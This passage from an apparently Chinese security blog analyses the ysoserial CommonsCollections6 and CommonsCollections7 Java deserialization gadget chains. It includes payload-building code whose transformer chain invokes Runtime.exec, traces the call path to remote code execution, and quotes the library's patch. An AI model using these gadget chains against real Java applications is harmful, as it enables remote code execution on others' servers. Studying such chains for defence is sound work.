f = HashSet.class.getDeclaredField("map");//获取map属性
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
} Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对 Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
} Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node Object node = array[0];
if(node == null){
node = array[1];
} Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
} Reflections.setAccessible(keyField);
keyField.set(node, entry);//将其中一个Node的key属性改为entry return map; }

可以看到前面部分都是差不多的,主要是后面的代码。后面的代码先创建了一个HashSet实例,添加一个键之后通过反射对其属性做了很多操作,乍一看有点晕。。先把剩下的代码提取出来

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");//添加一个键 Field f = null;
try {
f = HashSet.class.getDeclaredField("map");//获取map属性
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
} Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对 Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
} Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node Object node = array[0];
if(node == null){
node = array[1];
} Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
} Reflections.setAccessible(keyField);
keyField.set(node, entry);//将其中一个Node的key属性改为entry return map;

其实这段代码基本等价于以下几行代码:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);
return map;

就是把entry绑定到HashSet上。这两种方法的区别在哪?第一种是通过反射,将entry赋值给HashSet实例中的一个Node的key属性,第二种则是直接调用HashSet.add()方法,有啥区别?跟进一下HashSet.add()方法

public boolean add(E e) {
return map.put(e, PRESENT)==null;
}

跟进put()

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

此时的key就是entry变量(TiedMapEntry实例),跟进hash()

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里调用了key.hashCode(),也就是TiedMapEntry.hashCode(),继续跟进

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

这里调用了this.getValue(),是不是很熟悉?没错,正是CommonsCollections5中利用的TiedMapEntry的方法。跟进一下getValue()

public Object getValue() {
return this.map.get(this.key);
}

调用了map属性的get方法。回顾一下我们实例化TiedMapEntry时传入的参数以及其构造方法:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

可以发现这里的map属性就是绑定了执行系统命令Transformer的LazyMap实例,由于实例化LazyMap时没有添加foo键,一次调用其get()方法获取foo时会触发Transformer。触发完之后会把foo键添加到LazyMap实例上。

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);//添加key
return value;
} else {
return super.map.get(key);
}
}

可是现在我们只是在构造payload阶段,由于上面将foo键添加到了LazyMap实例,因此反序列化时LazyMap已经存在了foo属性,从而导致无法触发EXP。因此,直接使用map.add(entry);是行不通的,还可以在返回序列化对象之前,remove掉LazyMap的foo属性。比如:

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add(entry);
lazyMap.remove("foo"); return map;

需要通过反射,将entry绑定到HashSet的一个key上,这样才不会在序列化阶段就触发Lazymap绑定的Transformer。

可是如何利用反射来直接添加一个HashSet的key呢?通过poc的源码不难发现,其实就是先获取HashSet.map属性,然后再获取这个属性的table属性,然后再获取table属性的key属性,最后直接对key属性进行赋值

map属性是HashMap类型,看看HashMap.table属性

是Node类型,再看看Node.key属性

再看一下一个HashSet实例的值是怎样的

因此,只有通过反射的方法才不会在序列化阶段就间接调用LazyMap.get

看一下反序列化的过程,由于最终返回的是HashSet实例用于序列化,因此直接看HashSet.readObject()

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject(); ... // Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

可以在最后发现调用了HashMap.put(),这个方法在上面分析过了,底层会调用LazyMap.get(xxx)。由于我们在构建payload时使用了反射来创建HashSet实例,因此LazyMap实例中没有任何键,因此这里会触发LazyMap绑定的Transformer,从而造成RCE。

这个gadget的调用链如下:

HashSet.readObject() -> HashMap.put() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransfomer.transform() -> RCE

CommonsCollections7

这个的gadget与6类似,只不过是通过Hashtable类进行反序列化,最终到达LazyMap.get()的。先看一下代码

public Hashtable getObject(final String command) throws Exception {

    // Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); return hashtable;
}

直接看后半部分,创建了两个LazyMap实例然后都put到Hashtable实例中,然后调用remove()移除lazyMap2中的名为yy的key,原因与CommonsCollections6中差不多,之后再说。最后返回Hashtable实例,进行序列化。我们先看一下Hashtable.readObject(),先从反序列化的逻辑来看

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold and loadFactor
s.defaultReadObject(); ... int elements = s.readInt(); // Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements); ... table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0; // Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

可以看得到,最后通过一个for循环来遍历Hashtable实例原本的元素,对每个元素调用reconstitutionPut()方法,跟进一下

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

这里也有一个for循环,不过只有在tab[index]!=null才会进入,而tab在下方进行赋值:

tab[index] = new Entry<>(hash, key, value, e);

Entry类其实就是Hashtable中存储数据的类,每一个元素都是一个Entry对象。可以看一下Hashtable.put()方法,其实就是在table属性中添加了一个Entry对象。【插一句,仔细点可以发现,put()方法与reconstitutionPut()的代码几乎一毛一样,只不过put()是正向的插入元素,而reconstitutionPut()是逆向的,在readObject()复原元素时‘插入’元素】

public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
} // Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
} addEntry(hash, key, value, index);
return null;
} private void addEntry(int hash, K key, V value, int index) {
modCount++;
Entry<?,?> tab[] = table;
...
Entry<K,V> e = (Entry<K,V>) tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

而Hashtable的table属性类型也正是Entry[]

回到上面的Hashtable.readObject()调用的reconstitutionPut()方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

先获取key.hashCode(),也就是key的hash。对于第二个及以后的元素,会将每个元素与之前的所有元素进行对比,判断条件如下

if ((e.hash == hash) && e.key.equals(key)) {

如果两个key的hash相同,则调用e.key.equals(key)来判断当前元素中是否含有之前的key。这里的e.key就是我们在构建payload时put的值,也就是LazyMap实例。由于LazyMap没有定义equals()方法,因此跟进其父类AbstractMapDecorator.equals()

public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}

this.map是HashMap实例,由于HashMap没有重写equals方法,因此进入其父类AbstractMap.equals()

public boolean equals(Object o) {
if (o == this)
return true; if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false; try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))//调用o.get(key)
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
} return true;
}

可以看到有调用m.get(key),这里的m实际上就是在reconstitutionPut()中传入的参数:key,也就是LazyMap实例,因此要反序列化的Hashtable的第二个元素中不存在第一个元素中的key,那么这里就可以触发LazyMap绑定的Transformer,造成RCE。

总结一下,在构造gadget时大概有以下几点限制:

1.Hashtable实例中至少有两个元素

2.Hashtable实例的两个元素的key的hash必须一样

3.第二个元素的key是LazyMap实例,且其中不存在第一个元素中的key

因此我们可以在Hashtable中添加两个Map,第二个元素是LazyMap实例。LazyMap实例中不能有第一个元素中的key,同时两个元素的key的hash必须一样。这点怎么绕过?

可以参照ysoserial中的代码,由于字符串"yy""zZ"的hash是相同的

因此可以让这两个字符串分别作为两个Map实例的key。至此大概可以写出如下的poc

final Transformer transformerChain = new ChainedTransformer(
...
); Map innerMap = new HashMap();
Map lazymap = LazyMap.decorate(innerMap, transformerChain); Map itemMap = new HashMap();
itemMap.put("yy", 1);
innerMap.put("zZ", 1); Hashtable hashtable = new Hashtable();
hashtable.put(itemMap, 1);
hashtable.put(lazymap, 1); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return hashtable;

可是测试时发现,在反序列化时无法造成rce,反而是在生成序列化流时会造成rce。为啥?原因跟CommonsCollections类似。在构造Hashtable时,使用了Hashtable.put()方法来添加元素,而put()方法内部也会进行与反序列化时的reconstitutionPut()进行类似的操作,也会调用equals()进行判断,从而底层调用了LazyMap.get()。因此,在返回Hashtable类用于序列化之前,我们需要把LazyMap中新加的key给去掉,也就是第一个元素的key。所以我们在return之前需要加上一行:

lazyMap2.remove("yy");

总结下来调用链大概如下

Hashtable.readObject() -> Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get() -> ChainedTrasnformer.transform() -> RCE

0x03 总结

归纳

几个gadget的链大概是由以下几个部分组成

CommonsCollections1: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InvokerTransformer

CommonsCollections3: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

CommonsCollections2: PriorityQueue、TransformingComparator、InvokerTransformer、TemplatesImpl

CommonsCollections4: PriorityQueue、TransformingComparator、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

CommonsCollections5: BadAttributeValueExpException、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransformer

CommonsCoolections6: HashSet、HashMap、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransfomer

CommonsCollections7: Hashtable、LazyMap、ChainedTransformer、InvokerTransformer

执行命令的几种方式:

1.ChainedTransformer+InvokerTransformer,比如1、5、6、7

2.ChainedTransformer+InstantiateTransformer+TrAXFilter+TemplatesImpl,比如3、4

2.ChainedTransformer+InvokerTransformer+TemplatesImpl,比如2

再底层点来看其实就只有两种方式,InvokerTransformer和TemplatesImpl

从反序列化到命令执行的路径:

1.LazyMap,比如1、3、5、6、7

2.PriorityQueue+TransformingComparator,比如2、4

而从反序列化到LazyMap.get()这条路径又分为了好几种:

1.AnnotationInvocationHandler+Proxy,比如1、3

2.BadAttributeValueExpException+TiedMapEntry,比如5

3.HashSet+HashMap+TiedMapEntry,比如6

4.Hashtable,比如7

补丁

根据以上的归纳可以发现,其实利用链最底层用来执行命令的方法不过就是Transformer和TemplatesImpl。因为最终目的是执行任意代码,也就是可以执行任意类的任意方法,其实主要就是Transformer的利用,因为TemplatesImpl的几种利用方式不过是结合了不同的Transformer来实现(InvokerTransformer、InstantiateTransformer)。

链的构造主要是通过Map绑定Transformer来实现,或者是PriorityQueue绑定TransformingComparator来实现。

反序列化入口则是百花齐放,是人是鬼都在秀。

总的来说,这次漏洞主要还是最底层的Transformer的原因,因此官方的补丁就是在几个Transformer的writeObject()/readObject()处增加了一个全局开关,默认是开关开启的,当对这些Transformer进行序列化/反序列化时,会抛出UnsupportedOperationException异常。

//InvokerTransformer
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
} //FunctorUtils
static void checkUnsafeSerialization(Class clazz) {
String unsafeSerializableProperty; try {
unsafeSerializableProperty =
(String) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
}
});
} catch (SecurityException ex) {
unsafeSerializableProperty = null;
} if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
throw new UnsupportedOperationException(
"Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
"To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " +
"but you must ensure that your application does not de-serialize objects from untrusted sources.");
}}

参考:影响与修复

0x04 参考

Java反序列化漏洞-玄铁重剑之CommonsCollection

ysoserial payload分析 -kingkk

玩转Ysoserial-CommonsCollection的七种利用方式分析 -平安银行应用安全团队

ysoserial分析【一】 之 Apache Commons Collections的相关教程结束。

《ysoserial分析【一】 之 Apache Commons Collections.doc》

下载本文的Word格式文档,以方便收藏与打印。